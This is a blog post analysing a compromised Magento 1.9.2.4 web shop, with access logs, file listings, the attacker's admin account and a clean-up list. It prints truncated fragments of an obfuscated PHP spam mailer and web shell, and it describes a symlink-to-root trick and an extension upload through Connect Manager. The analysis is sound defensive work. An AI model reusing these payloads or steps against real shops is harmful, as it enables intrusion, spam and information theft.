Magento shop 1.9.2.4 hacked, possibly through Connect Manager

Written by - 0 comments

Published on - Listed in Hacks PHP


Today I got alerts about a spamming web server and I quickly identified the document root to be a Magento web shop installation.

mail() on [/srv/websites/shop.example.com/magento/ljamailer.php(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code:220]: To: email.result@yahoo.com -- Headers: From : Miler Info

So the bad file here is of course ljamailer.php. The question is: How did it come on the server? An overview of the document root gives several conclusions already:

webserver:/srv/websites/shop.example.com/magento # ls -ltr
total 868
-rw-r--r--  1 root   root   2112 Nov 13  2015 test.php
drwxrwxrwx  3 inmed  web    4096 Sep 28 10:58 pkginfo
drwxrwxrwx  5 inmed  web    4096 Sep 28 10:58 skin
-rw-rw-rw-  1 wwwrun www    2240 Sep 28 10:58 mage
-rw-rw-rw-  1 wwwrun www    6451 Sep 28 10:58 .htaccess
drwxrwxrwx  2 wwwrun www    4096 Sep 28 10:59 includes
drwxrwxrwx  2 wwwrun www    4096 Sep 28 10:59 shell
-rw-rw-rw-  1 wwwrun www     886 Sep 28 10:59 php.ini.sample
drwxrwxrwx 14 inmed  web    4096 Sep 28 10:59 media
-rw-rw-rw-  1 wwwrun www    6460 Sep 28 10:59 install.php
-rw-rw-rw-  1 wwwrun www    2323 Sep 28 10:59 index.php.sample
-rw-rw-rw-  1 wwwrun www    5970 Sep 28 10:59 get.php
-rw-rw-rw-  1 wwwrun www    1150 Sep 28 10:59 favicon.ico
drwxrwxrwx  3 wwwrun www    4096 Sep 28 10:59 errors
-rw-rw-rw-  1 wwwrun www    1639 Sep 28 10:59 cron.sh
-rw-rw-rw-  1 wwwrun www    2915 Sep 28 10:59 cron.php
-rw-rw-rw-  1 wwwrun www    3141 Sep 28 10:59 api.php
-rw-rw-rw-  1 wwwrun www  590092 Sep 28 10:59 RELEASE_NOTES.txt
-rw-rw-rw-  1 wwwrun www   10421 Sep 28 10:59 LICENSE_AFL.txt
-rw-rw-rw-  1 wwwrun www   10410 Sep 28 10:59 LICENSE.txt
-rw-rw-rw-  1 wwwrun www   10679 Sep 28 10:59 LICENSE.html
-rw-rw-rw-  1 wwwrun www    5351 Sep 28 10:59 .htaccess.sample
drwxrwxrwx 16 inmed  web    4096 Sep 28 10:59 lib
drwxrwxrwx 10 inmed  web    4096 Sep 28 11:01 downloader
drwxrwxrwx 10 inmed  web    4096 Dec  4 22:53 var
drwxrwxrwx 16 inmed  web    4096 Dec  4 22:53 js
-rw-rw-rw-  1 wwwrun www   25862 Dec  4 23:05 configurations.php
drwxr-xr-x  2 wwwrun www    4096 Dec  4 23:22 tmp
-rw-r--r--  1 wwwrun www   13639 Dec  4 23:27 Sym.php
drwxr-xr-x  2 wwwrun www    4096 Dec  4 23:28 sym
-rw-r--r--  1 wwwrun www   25862 Dec  4 23:40 bootstrap.php
drwxrwxrwx  6 inmed  web    4096 Dec  4 23:40 app
-rw-r--r--  1 wwwrun www   49449 Dec  5 03:43 ljamailer.php
-rw-r--r--  1 wwwrun www    2391 Dec  5 03:43 index.php

1) Several recent modifications happened on December 4th and 5th.
2) The current permissions are catastrophic. wwwrun (the Apache user) is able to modify everything. I'm not a Magento specialist, but I doubt that the shop needs to have write permissions on every file and folder.

Taking a look at ljamailer.php and no big surprise. An obfuscated PHP code appeared:

# more ljamailer.php
rjaya";$oiIohAhAaASSA = $oiIhAiaoaoASA{5}.$oiIhAiaoaoASA{8}.$oiIhAiaoaoASA{20}.$oiIhAiaoaoASA{24}.$oiIhAiaoaoASA{34}.$oiIhAiaoaoASA{27}.$s0oooo0000h41{19}.$s0
oooo0000h41{4}.$s0oooo0000h41{5}.$s0oooo0000h41{31}.$s0oooo0000h41{12}.$s0oooo0000h41{37}.$s0oooo0000h41{38};$oiIoASAhAiaoahoSAShh=file(__FILE__);$s0oo0000ooh
41=$s0oooo0000h41{30}.$s0oooo0000h41{33};$s0oo0000

I didn't bother to decode that as at the end it probably turns out to be a mailing/spamming form. More interestingly is the timestamp, when the file was uploaded:

120.188.94.254 - - [05/Dec/2016:03:43:05 +0100] "POST /configurations.php HTTP/1.1" 200 5439 "http://shop.example.com/configurations.php" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36"
120.188.94.254 - - [05/Dec/2016:03:43:12 +0100] "GET /ljamailer.php HTTP/1.1" 200 2524 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36"
120.188.94.254 - - [05/Dec/2016:03:43:37 +0100] "POST /ljamailer.php HTTP/1.1" 200 3921 "http://shop.example.com/ljamailer.php" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36"
120.188.94.254 - - [05/Dec/2016:03:44:04 +0100] "POST /ljamailer.php HTTP/1.1" 200 3995 "http://shop.example.com/ljamailer.php" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36"
120.188.94.254 - - [05/Dec/2016:03:44:18 +0100] "POST /ljamailer.php HTTP/1.1" 200 6272 "http://shop.example.com/ljamailer.php" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36"
120.188.94.254 - - [05/Dec/2016:03:50:47 +0100] "POST /ljamailer.php HTTP/1.1" 200 4122 "http://shop.example.com/ljamailer.php" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36"

That's right. A POST on configurations.php, which, itself, was uploaded on December 4th. Let's take a look at configurations.php:

# more configurations.php
$idc = "=Ew/P7//fvf/e20P17/LpI7L34PwCabTrwvXJbPWN3TV+/T/mE3R5//n3zfJlHOEt/33HXCPomvNr8X9Of74N/C8u0KblTAt8+AAh3gjnKzeZWDyELiXuc/7SOiIls0QNVmiN1MH5kCOokgIho0VyV
lIZHndcCwaMgR5nwCh/GxaYNISzsK91a53vpwsnQTRCFXxDaksGVhhIOe2jUvc5hdLsdwYpT5Zv6jPE5ROlFxfzMqQfVLiAxq6/bkdRSp5I2a2ZjNfdr5moDVYbFCA6wOJdun6y30g4lv+4OL+wUVJrAZWuv6o
Xc7lHJ+jJTCGqBFKG3C1zkwLoPLQhYTQ/d5Y3K4zlhpznx7LFjlMHLLdTBunJneZugalBjR/Gpv5G/5Is6+afGoQCSDc6thAuYyC6jIsCuWATFRG6/zdlbPTJfVyM1a3wZBXHbITk2dnXV1+DDqpD3ybWE4f90
cYEglGMxuKik8QJoSP/mg16EWDi6K7EzQ/N6

No big surprise there either. Interestingly this file was uploaded twice. Once with filename configurations.php, once as bootstrap.php. Both files are identical in size and content.

# more bootstrap.php
$idc = "=Ew/P7//fvf/e20P17/LpI7L34PwCabTrwvXJbPWN3TV+/T/mE3R5//n3zfJlHOEt/33HXCPomvNr8X9Of74N/C8u0KblTAt8+AAh3gjnKzeZWDyELiXuc/7SOiIls0QNVmiN1MH5kCOokgIho0VyV
lIZHndcCwaMgR5nwCh/GxaYNISzsK91a53vpwsnQTRCFXxDaksGVhhIOe2jUvc5hdLsdwYpT5Zv6jPE5ROlFxfzMqQfVLiAxq6/bkdRSp5I2a2ZjNfdr5moDVYbFCA6wOJdun6y30g4lv+4OL+wUVJrAZWuv6o
Xc7lHJ+jJTCGqBFKG3C1zkwLoPLQhYTQ/d5Y3K4zlhpznx7LFjlMHLLdTBunJneZugalBjR/Gpv5G/5Is6+afGoQCSDc6thAuYyC6jIsCuWATFRG6/zdlbPTJfVyM1a3wZBXHbITk2dnXV1+DDqpD3ybWE4f90
cYEglGMxuKik8QJoSP/mg16EW

When configurations.php or bootstrap.php was launched in a browser, a WebShell appeared:

Web Shell

Another interesting discovery was the file Sym.php. In the browser something the script looked like this:

Symlink hack

In the access logs I saw the following requests:

120.188.94.254 - - [04/Dec/2016:23:27:50 +0100] "GET /Sym.php HTTP/1.1" 200 1019 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36"
120.188.94.254 - - [04/Dec/2016:23:27:59 +0100] "GET /Sym.php? HTTP/1.1" 200 1019 "http://shop.example.com/Sym.php" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36"
120.188.94.254 - - [04/Dec/2016:23:28:00 +0100] "GET /Sym.php?sws=sym HTTP/1.1" 200 820 "http://shop.example.com/Sym.php?" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36"
120.188.94.254 - - [04/Dec/2016:23:28:30 +0100] "GET /Sym.php?sws=sym HTTP/1.1" 200 820 "http://shop.example.com/Sym.php?sws=sym" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36"
120.188.94.254 - - [04/Dec/2016:23:28:31 +0100] "GET /Sym.php?sws=sec HTTP/1.1" 200 820 "http://shop.example.com/Sym.php?sws=sym" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36"
120.188.94.254 - - [04/Dec/2016:23:28:33 +0100] "GET /Sym.php?sws=file HTTP/1.1" 200 994 "http://shop.example.com/Sym.php?sws=sec" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36"
120.188.94.254 - - [04/Dec/2016:23:28:37 +0100] "POST /Sym.php?sws=file HTTP/1.1" 200 1023 "http://shop.example.com/Sym.php?sws=file" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36"

It took me a bit to figure out the real function of this script (besides another upload function): It creates a symlink to a certain target. I found the following subfolder and its content:

webserver:/srv/websites/shop.example.com/magento/sym # ll
total 4
-rw-r--r-- 1 wwwrun www 175 Dec  5 10:03 .htaccess
lrwxrwxrwx 1 wwwrun www  32 Dec  4 23:28 file.name_sym ( Ex. :: 1.txt ) -> /home/user/public_html/file.name
lrwxrwxrwx 1 wwwrun www   1 Dec  4 23:27 root -> /

Uh oh... A symlink called root was created which points to /. Did it work? Unfortunately yes, it seems that the Apache setting "FollowSymlinks" is enabled:

Web Symlink to root directory

And yes, this was accessed by the hacker, too:

120.188.94.254 - - [04/Dec/2016:23:41:59 +0100] "GET /sym/ HTTP/1.1" 200 408 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36"
120.188.94.254 - - [04/Dec/2016:23:42:03 +0100] "GET /sym/root/ HTTP/1.1" 200 780 "http://shop.example.com/sym/" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36"

Information disclosure at it's finest! :-(

Uploading files through a web shell already in place is easy. Especially if the file permissions are set so mindlessly (Magento, is this really necessary?).
But how did all these php files get on the server in the first place? This is the interesting part. According to the timestamp, the older file (configurations.php) was uploaded on Dec 4 at 23:05. The log file doesn't give a helpful trace at 23:05:

120.188.94.254 - - [04/Dec/2016:23:05:03 +0100] "GET / HTTP/1.1" 200 5215 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36"
120.188.94.254 - - [04/Dec/2016:23:05:27 +0100] "POST / HTTP/1.1" 200 23614 "http://shop.example.com/" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36"
120.188.94.254 - - [04/Dec/2016:23:05:30 +0100] "GET / HTTP/1.1" 200 5013 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36"
120.188.94.254 - - [04/Dec/2016:23:05:41 +0100] "POST / HTTP/1.1" 200 3046 "http://shop.example.com/" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36"
120.188.94.254 - - [04/Dec/2016:23:05:52 +0100] "POST / HTTP/1.1" 200 2597 "http://shop.example.com/" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36"
120.188.94.254 - - [04/Dec/2016:23:05:55 +0100] "POST / HTTP/1.1" 404 716 "http://shop.example.com/" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36"
120.188.94.254 - - [04/Dec/2016:23:05:59 +0100] "GET / HTTP/1.1" 403 686 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36"

... but just a few seconds before that, some very interesting requests happened:

120.188.94.254 - - [04/Dec/2016:23:03:49 +0100] "POST /index.php/filesystem/adminhtml_filesystem/tree/isAjax/1/form_key/JzG8egEj5wWSin3q/key/b853d2a14508a9fa48d60ff5c48119c1/ HTTP/1.1" 200 222 "http://shop.example.com/index.php/filesystem/adminhtml_filesystem/index/key/a6af76c351b7130cd2be64c31656c082/" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36"
120.188.94.254 - - [04/Dec/2016:23:03:52 +0100] "GET /index.php/filesystem/adminhtml_filesystem/load/fn/L3Nydi93ZWJzaXRlcy9zaG9wLnRhZ2JsYXR0LmNoL21hZ2VudG8vc2hlbGwvaW5kZXhlci5waHA=/key/9fa08aac281c5d2fbdb3c6d660489940/?isAjax=true&&form_key=JzG8egEj5wWSin3q HTTP/1.1" 200 2697 "http://shop.example.com/index.php/filesystem/adminhtml_filesystem/index/key/a6af76c351b7130cd2be64c31656c082/" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36"
120.188.94.254 - - [04/Dec/2016:23:03:57 +0100] "GET /index.php/filesystem/adminhtml_filesystem/load/fn/L3Nydi93ZWJzaXRlcy9zaG9wLnRhZ2JsYXR0LmNoL21hZ2VudG8vaW5kZXgucGhw/key/9fa08aac281c5d2fbdb3c6d660489940/?isAjax=true&&form_key=JzG8egEj5wWSin3q HTTP/1.1" 200 1553 "http://shop.example.com/index.php/filesystem/adminhtml_filesystem/index/key/a6af76c351b7130cd2be64c31656c082/" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36"
120.188.94.254 - - [04/Dec/2016:23:04:08 +0100] "GET /index.php/filesystem/adminhtml_filesystem/close/file/996204877/key/372934d1769190b1cbb62eb3d7803622/?isAjax=true&&form_key=JzG8egEj5wWSin3q HTTP/1.1" 200 16 "http://shop.example.com/index.php/filesystem/adminhtml_filesystem/index/key/a6af76c351b7130cd2be64c31656c082/" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36"
120.188.94.254 - - [04/Dec/2016:23:04:09 +0100] "GET /index.php/filesystem/adminhtml_filesystem/close/file/1073874282/key/372934d1769190b1cbb62eb3d7803622/?isAjax=true&&form_key=JzG8egEj5wWSin3q HTTP/1.1" 200 16 "http://shop.example.com/index.php/filesystem/adminhtml_filesystem/index/key/a6af76c351b7130cd2be64c31656c082/" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36"
120.188.94.254 - - [04/Dec/2016:23:04:39 +0100] "GET /index.php/filesystem/adminhtml_filesystem/load/fn/L3Nydi93ZWJzaXRlcy9zaG9wLnRhZ2JsYXR0LmNoL21hZ2VudG8vaW5kZXgucGhw/key/9fa08aac281c5d2fbdb3c6d660489940/?isAjax=true&&form_key=JzG8egEj5wWSin3q HTTP/1.1" 200 80 "http://shop.example.com/index.php/filesystem/adminhtml_filesystem/index/key/a6af76c351b7130cd2be64c31656c082/" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36"
120.188.94.254 - - [04/Dec/2016:23:04:42 +0100] "GET /index.php/filesystem/adminhtml_filesystem/load/fn/L3Nydi93ZWJzaXRlcy9zaG9wLnRhZ2JsYXR0LmNoL21hZ2VudG8vY3Jvbi5zaA==/key/9fa08aac281c5d2fbdb3c6d660489940/?isAjax=true&&form_key=JzG8egEj5wWSin3q HTTP/1.1" 200 1007 "http://shop.example.com/index.php/filesystem/adminhtml_filesystem/index/key/a6af76c351b7130cd2be64c31656c082/" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36"
120.188.94.254 - - [04/Dec/2016:23:04:44 +0100] "GET /index.php/filesystem/adminhtml_filesystem/load/fn/L3Nydi93ZWJzaXRlcy9zaG9wLnRhZ2JsYXR0LmNoL21hZ2VudG8vaW5kZXgucGhw/key/9fa08aac281c5d2fbdb3c6d660489940/?isAjax=true&&form_key=JzG8egEj5wWSin3q HTTP/1.1" 200 80 "http://shop.example.com/index.php/filesystem/adminhtml_filesystem/index/key/a6af76c351b7130cd2be64c31656c082/" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36"
120.188.94.254 - - [04/Dec/2016:23:04:51 +0100] "POST /index.php/filesystem/adminhtml_filesystem/save/file/2083702503/key/29bbfb400565c179873af433f751fe64/?isAjax=true HTTP/1.1" 200 16 "http://shop.example.com/index.php/filesystem/adminhtml_filesystem/index/key/a6af76c351b7130cd2be64c31656c082/" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36"
120.188.94.254 - - [04/Dec/2016:23:04:53 +0100] "GET /index.php/filesystem/adminhtml_filesystem/close/file/2083702503/key/372934d1769190b1cbb62eb3d7803622/?isAjax=true&&form_key=JzG8egEj5wWSin3q HTTP/1.1" 200 5198 "http://shop.example.com/index.php/filesystem/adminhtml_filesystem/index/key/a6af76c351b7130cd2be64c31656c082/" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36"
120.188.94.254 - - [04/Dec/2016:23:04:55 +0100] "GET /index.php/filesystem/adminhtml_filesystem/close/file/1089227211/key/372934d1769190b1cbb62eb3d7803622/?isAjax=true&&form_key=JzG8egEj5wWSin3q HTTP/1.1" 200 5273 "http://shop.example.com/index.php/filesystem/adminhtml_filesystem/index/key/a6af76c351b7130cd2be64c31656c082/" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36"
120.188.94.254 - - [04/Dec/2016:23:04:57 +0100] "GET /index.php/filesystem/adminhtml_filesystem/load/fn/L3Nydi93ZWJzaXRlcy9zaG9wLnRhZ2JsYXR0LmNoL21hZ2VudG8vaW5kZXgucGhw/key/9fa08aac281c5d2fbdb3c6d660489940/?isAjax=true&&form_key=JzG8egEj5wWSin3q HTTP/1.1" 200 5361 "http://shop.example.com/index.php/filesystem/adminhtml_filesystem/index/key/a6af76c351b7130cd2be64c31656c082/" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36"

It seems that some filesystem plugin/extension was installed. My research pointed me to a Reddit thread where the extension "Magpleasure Filesystem" was installed after a hack. And as in the reddit post, the extension seems to have been installed through the "/downloader" subfolder (hat's the fixed URL for the Magento Connect Manager):

125.161.32.96 - - [04/Dec/2016:22:52:22 +0100] "POST //downloader/ HTTP/1.1" 200 6990 "http://shop.example.com//downloader/" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36"
125.161.32.96 - - [04/Dec/2016:22:52:33 +0100] "GET /downloader/index.php?A=empty HTTP/1.1" 200 1167 "http://shop.example.com//downloader/" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36"
125.161.32.96 - - [04/Dec/2016:22:53:26 +0100] "POST /downloader/index.php?A=connectInstallPackageUpload&maintenance=1&archive_type=0&backup_name= HTTP/1.1" 200 1192 "http://shop.example.com//downloader/" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36"
125.161.32.96 - - [04/Dec/2016:22:53:29 +0100] "POST /downloader/index.php?A=cleanCache HTTP/1.1" 200 95 "http://shop.example.com//downloader/" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36"

And right after that, a successful login in the admin interface seems to have happened (notice the successful css loaded):

91.211.2.12 - - [04/Dec/2016:22:53:41 +0100] "GET /index.php/admin/ HTTP/1.1" 200 1255 "http://shop.example.com/index.php/admin/" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36"
91.211.2.12 - - [04/Dec/2016:22:53:41 +0100] "POST /index.php/admin/ HTTP/1.1" 200 1314 "http://shop.example.com/index.php/admin/" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36"
125.161.32.96 - - [04/Dec/2016:22:55:12 +0100] "GET /skin/adminhtml/default/default/reset.css HTTP/1.1" 200 2925 "http://shop.example.com/index.php/admin/" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36"

In general the Magento Connect Manager, which is always available under MAGENTOURL/downloader, should be disabled. This page has some additional information.

Through the upload in Connect Manager (non-authenticated? a vulnerability in Connect Manager? I'm not sure) the hacker was able to gain access to the admin dashboard and a few minutes later created his own admin user (note: I am only showing the newly created account, all other accounts are removed from the output for privacy reasons):

mysql> select user_id, email, username, password, created, modified from admin_user;
+---------+--------------------------------+----------------+------------------------------------------+---------------------+---------------------+
| user_id | email                          | username       | password                                 | created             | modified            |
+---------+--------------------------------+----------------+------------------------------------------+---------------------+---------------------+
|      20 | admin@demo.com                 | admins         | 864eb4c20f8ab86d595c28434fff16a7:xX      | 2016-12-04 22:56:15 | NULL                |
+---------+--------------------------------+----------------+------------------------------------------+---------------------+---------------------+
5 rows in set (0.00 sec)

The hacker then successfully created his own admin account (Username admins) at 22:56:15, which was this POST:

125.161.32.96 - - [04/Dec/2016:22:56:15 +0100] "POST /index.php/admin/ HTTP/1.1" 302 0 "http://shop.example.com/index.php/admin/" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36"

So what is the source for the hack? From what I can see in the logs there are two possibilities:

1) There's a vulnerability in Magento Connect Manager which allows to upload and install extensions without authentication
2) The hacker used an already existing admin user. Either through brute-force login or (worse) through a previous hack. Potentially the "shoplift" vulnerability (see here for more information) could have been used in the past to create a new admin account before the shop was patched.

Either way, I contacted the shop administrator and cleaned up the files modified since Dec 4th. Here's a complete list:

webserver:/srv/websites/shop.example.com/magento # find . -user wwwrun -mtime -2
./app/design/adminhtml/default/default/template/filesystem
./app/design/adminhtml/default/default/template/filesystem/ide
./app/design/adminhtml/default/default/template/filesystem/ide/editor.phtml
./app/design/adminhtml/default/default/template/filesystem/ide/tree.phtml
./app/design/adminhtml/default/default/template/filesystem/ide.phtml
./app/design/adminhtml/default/default/template/filesystem/wrapper.phtml
./app/design/adminhtml/default/default/layout/filesystem.xml
./app/etc/modules/Magpleasure_Filesystem.xml
./app/code/community/Magpleasure
./app/code/community/Magpleasure/Filesystem
./app/code/community/Magpleasure/Filesystem/Helper
./app/code/community/Magpleasure/Filesystem/Helper/Data.php
./app/code/community/Magpleasure/Filesystem/sql
./app/code/community/Magpleasure/Filesystem/sql/filesystem_setup
./app/code/community/Magpleasure/Filesystem/sql/filesystem_setup/mysql4-install-1.0.php
./app/code/community/Magpleasure/Filesystem/Model
./app/code/community/Magpleasure/Filesystem/Model/Tree.php
./app/code/community/Magpleasure/Filesystem/controllers
./app/code/community/Magpleasure/Filesystem/controllers/Adminhtml
./app/code/community/Magpleasure/Filesystem/controllers/Adminhtml/FilesystemController.php
./app/code/community/Magpleasure/Filesystem/etc
./app/code/community/Magpleasure/Filesystem/etc/adminhtml.xml
./app/code/community/Magpleasure/Filesystem/etc/system.xml
./app/code/community/Magpleasure/Filesystem/etc/config.xml
./app/code/community/Magpleasure/Filesystem/Block
./app/code/community/Magpleasure/Filesystem/Block/Adminhtml
./app/code/community/Magpleasure/Filesystem/Block/Adminhtml/Ide
./app/code/community/Magpleasure/Filesystem/Block/Adminhtml/Ide/Editor.php
./app/code/community/Magpleasure/Filesystem/Block/Adminhtml/Ide/Tree.php
./app/code/community/Magpleasure/Filesystem/Block/Adminhtml/Ide.php
./js/filesystem
./js/filesystem/script.js
./js/filesystem/base64.js
./js/filesystem/jquery-1.4.2.min.js
./js/filesystem/script.coffee
./js/filesystem/jqueryfiletree.js
./js/editarea
./js/editarea/license_apache.txt
./js/editarea/edit_area_full.js
./js/editarea/highlight.js
./js/editarea/reg_syntax
./js/editarea/reg_syntax/css.js
./js/editarea/reg_syntax/python.js
./js/editarea/reg_syntax/pas.js
./js/editarea/reg_syntax/robotstxt.js
./js/editarea/reg_syntax/coldfusion.js
./js/editarea/reg_syntax/html.js
./js/editarea/reg_syntax/java.js
./js/editarea/reg_syntax/perl.js
./js/editarea/reg_syntax/cpp.js
./js/editarea/reg_syntax/phtml.js
./js/editarea/reg_syntax/php.js
./js/editarea/reg_syntax/brainfuck.js
./js/editarea/reg_syntax/ruby.js
./js/editarea/reg_syntax/basic.js
./js/editarea/reg_syntax/c.js
./js/editarea/reg_syntax/vb.js
./js/editarea/reg_syntax/js.js
